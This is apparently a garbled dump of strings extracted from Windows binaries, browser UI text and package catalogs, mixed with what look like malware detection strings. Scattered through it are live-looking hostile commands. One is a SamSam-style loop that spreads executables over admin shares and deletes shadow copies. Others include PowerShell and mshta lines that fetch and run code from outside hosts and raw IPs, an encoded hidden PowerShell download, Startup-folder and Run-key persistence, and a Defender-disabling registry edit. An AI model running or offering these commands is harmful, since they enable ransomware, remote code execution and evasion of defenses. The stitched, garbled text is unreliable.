Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3@
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
NtUserAlterWindowStyle
NtUserDisableProcessWindowsGhosting
NtUserUpdateWindows
NtUserSetWindowState
NtUserClearWindowState
NtUserArrangeIconicWindows
NtUserUnhookWindowsHook
NtUserCloseWindowStation
NtUserGetProcessWindowStation
NtUserSetWindowsHookEx
NtUserUnhookWindowsHookEx
PdcSignalWindowsMobilePwrNotif
PdcSignalWindowsMobileShell
onecoreuap\windows\core\ntuser\kernel\cit\citdata.cxx
ProcessWindowStateChanged
ProcessWindowState
ProcessWindowStateChanged
ProcessWindowState
ProcessWindowStateRundown
ProcessWindowState
Microsoft.Windows.Graphics.Display
Microsoft.Windows.Win32kBase.Input
Microsoft.Windows.CoreMessaging.CoreMessagingK
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.WebDefense.InputMonitor
System.Windows.Forms.UnsafeNativeMethods.IGridProvider.get_RowCount
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.FragmentRoot
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.get_FragmentRoot
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.accHitTest
C:\WINDOWS\system32\myhook.dll!#ALF:HSTR:Trojan:Win32/Injector.YZ!bit
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
QWindowSystemInterface::flushWindowSystemEvents() invoked after QGuiApplication destruction, discarding 
Manually deleting a QPlatformScreen. Call QWindowSystemInterface::handleScreenRemoved instead.
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGRSAServiceProvider<class CRtlXMLDSIGSHA512Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGSession>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGDigesterObject<class CRtlXMLDSIGSHA384Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGDigesterObject<class CRtlXMLDSIGSHA512Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGRSAServiceProvider<class CRtlXMLDSIGSHA1Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGRSAServiceProvider<class CRtlXMLDSIGSHA256Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGExcC14NTransformer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGXRMLTransformer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGDigesterObject<class CRtlXMLDSIGSHA1Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGDigesterObject<class CRtlXMLDSIGSHA256Hasher> >::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGC14NCanonicalizer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGExcC14NCanonicalizer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGEnvelopedSignatureTransformer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGC14NTransformer>::CreateTearoff
MetadataValue.Type == Windows::Cdf::Rtl::CDF_VALUE_TYPE_BLOB
CdfValue.Type != Windows::Cdf::Rtl::CDF_VALUE_TYPE_INVALID
::Windows::TypeSafeHandle::Provider::Rtl:: RtlIsTypeSafeHandleValid(Hand
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
D(list.txt)dops-s\\%%acmd.exe/cifexistc:\windows\system32\samsam.exestart/bc:\windows\system32\samsam.exe%%a
.exe\\%%a\c$\windows\system32&&copy%%a_publickey.keyxml\\%%a\c$\windows\system32&&vssadmindeleteshadows/all/quietpause
-~(list.txt)dops-s\\%%acmd.exe/cifexistc:\windows\sqlsrvtmg1.exestart/bc:\windows\sqlsrvtmg1.exepause
Q(list.txt)dops-s\\%%acmd.exe/cifexistc:\windows\delfiletype.exestart/bc:\windows\delfiletype.exepause
-windowstylehidden-command"start-process'%game
system32\"
..\..\third_party\wp.client\msinternal\src\base\core\windows\registry.cpp
13b^com.microsoft.windows.assetreference
140^com.microsoft.windows.e
c:\windows\system32\cmd.exe/cpowershell-cset-aliasferriwr;salnetaexiex;netaex(ferrhttp://95.169.201.100:18960/uploads/team-1/readme.txt)
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://codebizz.com/7896745657879090.mp4')".
GetSystemWindowsDirectoryW
s@Networking@Windows@winrt@4
ms-windows-storeX
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
      name="Microsoft.Windows.onecorebase.ReFsDedupSvc"
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
[MSAL:0004]	DEBUG  	SetField:171	Key: authorization_type, Value: WindowsIntegratedAuth
Run Sample v1C:\c_code\helper\windows\executer\Release\executer.pdbl
onadh. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.copilotupdateSeirbheis 
defaultWindowsTheme`
\windows\(
winlogon"|findstr"lastused
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
location: https://to-do.office.com/tasks/windows-app-web-link
location: https://to-do.office.com/tasks/.well-known/windows-app-web-link
0|c:\windows\system32\cmd
Net.TCPSocket.PortReuseTimeWindows2
telemetry_client.windows_update_applied
Microsoft.UMA.Consent.WindowsConsentChangeWasPendingNotification
EdgeWindowsConsentChange
msEdgeContinuousImportWindowsRecommendations
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.2.161\inc\wil\opensource\wil\win32_helpers.h
WerReportCreate(L"WindowsNonFatalSuspectedDeadlock", WerReportNonCritical, &WerReportInfo, hReport.addressof())
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
windows password4
windows hello0
windows hello:wux:windows helloM
windows hello
data-tag","Windows
y),l},t}(n.Windows
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.WindowsStore_8wekyb3d8bbweo
default$windows.data.input.devices.pensyncedsettings
windows.data.input.devices.pensyncedsettings
Microsoft.Windows.Explorer
Windows Search
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App}
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
c:\windows\system32\
rundll32.exe shell32.dll,control_rundll c:\windows\system32\
c:\windows\system32\
cmd /k regsvr32 c:\windows\system32\
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
#ATTR_.?AU?$producer_convert@UXamlBindings@implementation@PhotonUI@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UXamlBindings@implementation@PhotonUI@winrt@@V?$tuple@UIDataTemplateExtension@Xaml@UI@Windows@winrt@@UIComponentConnector@Markup@2345@UIDataTemplateComponent@72345@@std@@@impl@winrt@@
.?AU?$producer@UXamlBindings@implementation@PhotonUI@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateComponent@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UTappedEventHandler@Input@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateExtension@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIPropertyValue@Foundation@Windows@winrt@@X@impl@winrt@@
\windowspowershell\v
\powershell.exe-noprofile-noninteractive-executionpolicybypass-windowstylehidden-encodedcommandkaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqargbpagwazqaoacia
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat|
Microsoft-Windows-Enterprise-Desktop-Shared-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-WebcamExperience-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|4~~10.0.26100.1742.cat|(
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
dir%\system32\vsocklib.dll
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
start-process-windowstylehidden-
regadd"hklm\software\policies\microsoft\windowsdefender\real-timeprote]
iex$($env:systemroot+'\system32\tcmsetup.exe')
--load-extension=c:\windows\internalkernelgrid
2bb^com.microsoft.windows.extensions.xaml.widgetboard
com.microsoft.windows.extensions.xaml.widgetboard
2bd^com.microsoft.windows.widgets.feeds
WindowsBootApplication
ClientSetupManager::CheckForWindowsWorkloadPackages
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@PEAUIGetDefaultSignInAccountResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@UIAsyncActionCompletedHandler@Foundation@Windows@@UIAsyncAction@23@@@YAJPEAUIAsyncAction@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
C:\WINDOWS\system32\wbem\wmiprvse.exe
2$url="https://casalomaminca.com/wp-content/uploads/2025/02/1tron.vbs.txt"$startuppath="$env:appdata\microsoft\windows\startmenu\programs\startup\
R@znetshfirewalladdallowedprogram"c:\windows\d
ADALAuth::ADALWrapper::UseWindowsAuthentication
WindowsSecurityContext
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
,Microsoft\Windows NT\CurrentVersion\Image File Execution Op
\System32\Tasks\9
dwindowstate0/commandline
edgeFeedbackPrivate.requestWindowSnapshot
= "C:\Windows\" & "Te" & "mp\
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Sync.InvalidSessionHeader.AssociateWindows
Sync.AssociateWindowsTime.OnSessionRestore
Sync.AssociateWindowsTime.OnTabModification
NameWindowsDefend
windows-store-app
!WindowsService.A
ANYUNSPECIFIEDWINDOWS
jBc:\windows\-
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershell
Incognito mode is forced. Cannot open normal windows.
TabsWindowsAPI
Browser windows not allowed.
Operation not allowed for DevTools windows
There are no browser windows to restore the session.
Identity API is disabled in incognito windows.
windows.create
windows.get
windows.getCurrent
windows.getLastFocused
windows.getAll
windows.update
windows.remove
DevToolsWindowsDeviceManager
..\..\chrome\browser\devtools\device\windows_device_manager.cc
s\system32
powershell.exe-executionpolicybypass-windowstylehidden-command"iwr"
\system32\zipfldr.dll%
popuphttp://tool.world2.cn/toolbar/osoft\windows\currentversion\runonce
Windows C
delc:\windows\
windows.hlp
s\system32\cmd.exe/k
https://fd.api.iris.microsoft.com/v4/api/selection?&asid=EF8152DA393A43FCA2EFD3EF3EA9AE24&nct=1&placement=88000852&bcnt=1&country=CH&locale=en-CH&poptin=0&po=0&fmt=json&clr=cdmlite&MX_FlightIds=MD%3A283BAEF%2CME%3A3667C98%2CME%3A3667C9A%2CME%3A3667CA2%2CME%3A3667CA7%2CME%3A3667CAD%2CME%3A38419AC%2CME%3A3536BD9%2CMD%3A2FE0A31%2CMD%3A2FE0A40%2CMD%3A2FE0A4F%2CMD%3A37B239D%2CMD%3A36AF640%2CMD%3A9999&arch=AMD64&concp=0&d3dfl=D3D_FEATURE_LEVEL_11_0&devfam=Windows.Desktop&devfm=0&devosver=10.0.26200.7840&dinst=1771603177&dmret=0&drgng=223&flightbranch=&flightring=Retail&icluc=0&iepe=2&iste=2&localid=w%3ADBFCEB78-2C59-FA53-8626-4ED67E8A4320&oem=VMware20%2C1&oemn=VMware%2C%20Inc.&oemname=VMware%2C%20Inc.&osbranch=ge_release&oslocale=en-US&osret=1&ossku=Professional&osskuid=48&prccn=2&prccs=2189&prcmf=GenuineIntel&procm=13th%20Gen%20Intel%28R%29%20Core%28TM%29%20i7-1370P&ram=2048&smbiosdm=VMware20%2C1&tinst=Client&tl=1&usri=-2&pat=0&smc=0&sac=0&disphorzres=3438&dispsize=37.9&dispvertres=1199&ldisphorzres=3438&ldispvertres=1199&moncnt=1&cpdsk=60451&frdsk=40516&lo=5273&tsu=5273&RULES_SCHEMA=1
 r@Internal@ApplicationModel@Windows@@
\windows\currentversion\run
system32\nonexis
syswow64\</t></si><si><t>\windows
~software\cn911\explorer\runrunjuskce.bat&gamepasscard=moneyelementclient windows
4OKuC:\WINDOWS\csrss.exe if exist "%s" goto Repeati
\windowsnt\currentversion
\system32\mshta
\system32\imageres.d
	-windowstylehidden"echo$
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
\system32\calc\..\conhost.exe 
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
c:\windows\system32\imageres.dll%systemroot
$bdows\system32\cmd.exe/q/
MoveWindows
EnumWindows
6E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
\WindowsPowerShell\.
s;C:\WINDOWS\system32.
\windows\system32\N
,c:\windowsE
>temroot%\system32\zipfldr.dll
c:\windowsE
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\Windows
\Windows\
!#PUA:Block:WindowsOptimizer$
 -windowstylehidden-executionpolicybypass
Windows
Ar9File buffer length error, sure repair.Windows mistakesTENCENT\QQ2009\Install
xyz/)'-verbrunas-windowstyleg
s\system32\cmd
b-windowstylehidden
windows\system32\cmd.exe/cpowershell-%
dows\system32\cmd.exe/cimg_
c:\windows\system32
Gets or sets a value indicating whether the print dialog box in the Windows XP style should be shown for systems running Windows XP and later.
sef8cawj="hklm:\software\microsoft\windows\currentversion\shell
c:\windows\system32\mshta.exehttp://iuh234.medianewsonline.com
lc:\windows\system32\mshta.exehttps://invsetmx.com/zhmva2.aspx?
Sc:\windows\system32\mshta.exehttp://45.15.162.16/microsoft.hta
Windows.Internal.Devices.Lights.BacklightServer.dll
Windows.Internal.Devices.Lights.BacklightServer.dll
root%\system32\shell32.dll%
